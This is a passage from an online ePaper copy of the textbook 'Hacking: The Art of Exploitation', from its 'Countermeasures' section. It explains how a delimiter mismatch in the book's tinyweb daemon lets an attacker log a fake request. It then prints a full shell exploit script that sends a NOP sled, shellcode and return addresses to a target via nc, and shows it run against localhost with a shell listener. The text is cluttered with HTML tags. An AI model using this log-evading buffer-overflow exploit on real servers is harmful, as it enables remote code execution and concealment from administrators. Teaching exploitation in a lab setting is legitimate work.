26.07.2018 Views

hacking-the-art-of-exploitation

Create successful ePaper yourself

Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.

There’s a simple mistake in <strong>the</strong> tinyweb daemon’s source code that allows<br />

<strong>the</strong> request buffer to be truncated early when it’s used for <strong>the</strong> log file output,<br />

but not when copying into memory. The recv_line() function uses \r\n as <strong>the</strong><br />

delimiter; however, all <strong>the</strong> o<strong>the</strong>r standard string functions use a null byte for<br />

<strong>the</strong> delimiter. These string functions are used to write to <strong>the</strong> log file, so by<br />

strategically using both delimiters, <strong>the</strong> data written to <strong>the</strong> log can be p<strong>art</strong>ially<br />

controlled.<br />

The following exploit script puts a valid-looking request in front <strong>of</strong> <strong>the</strong> rest<br />

<strong>of</strong> <strong>the</strong> exploit buffer. The NOP sled is shrunk to accommodate <strong>the</strong> new data.<br />

xtool_tinywebd_stealth.sh<br />

#!/bin/sh<br />

# stealth <strong>exploitation</strong> tool<br />

if [ -z "$2" ]; <strong>the</strong>n # If argument 2 is blank<br />

echo "Usage: $0 "<br />

exit<br />

fi<br />

FAKEREQUEST="GET / HTTP/1.1\x00"<br />

FR_SIZE=$(perl -e "print \"$FAKEREQUEST\"" | wc -c | cut -f1 -d ' ')<br />

OFFSET=540<br />

RETADDR="\x24\xf6\xff\xbf" # At +100 bytes from buffer @ 0xbffff5c0<br />

echo "target IP: $2"<br />

SIZE=`wc -c $1 | cut -f1 -d ' '`<br />

echo "shellcode: $1 ($SIZE bytes)"<br />

echo "fake request: \"$FAKEREQUEST\" ($FR_SIZE bytes)"<br />

ALIGNED_SLED_SIZE=$(($OFFSET+4 - (32*4) - $SIZE - $FR_SIZE))<br />

echo "[Fake Request ($FR_SIZE b)] [NOP ($ALIGNED_SLED_SIZE b)] [shellcode<br />

($SIZE b)] [ret addr ($((4*32)) b)]"<br />

(perl -e "print \"$FAKEREQUEST\" . \"\x90\"x$ALIGNED_SLED_SIZE";<br />

cat $1;<br />

perl -e "print \"$RETADDR\"x32 . \"\r\n\"") | nc -w 1 -v $2 80<br />

This new exploit buffer uses <strong>the</strong> null byte delimiter to terminate <strong>the</strong> fake<br />

request camouflage. A null byte won’t stop <strong>the</strong> recv_line() function, so <strong>the</strong><br />

rest <strong>of</strong> <strong>the</strong> exploit buffer is copied to <strong>the</strong> stack. Since <strong>the</strong> string functions<br />

used to write to <strong>the</strong> log use a null byte for termination, <strong>the</strong> fake request is<br />

logged and <strong>the</strong> rest <strong>of</strong> <strong>the</strong> exploit is hidden. The following output shows this<br />

exploit script in use.<br />

reader@<strong>hacking</strong>:~/booksrc $ ./tinywebd<br />

St<strong>art</strong>ing tiny web daemon.<br />

reader@<strong>hacking</strong>:~/booksrc $ nc -l -p 31337 &<br />

[1] 7714<br />

reader@<strong>hacking</strong>:~/booksrc $ jobs<br />

[1]+ Running nc -l -p 31337 &<br />

reader@<strong>hacking</strong>:~/booksrc $ ./xtool_tinywebd_steath.sh loopback_shell 127.0.0.1<br />

target IP: 127.0.0.1<br />

shellcode: loopback_shell (83 bytes)<br />

fake request: "GET / HTTP/1.1\x00" (15 bytes)<br />

[Fake Request (15 b)] [NOP (318 b)] [shellcode (83 b)] [ret addr (128 b)]<br />

Countermeasures 335

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!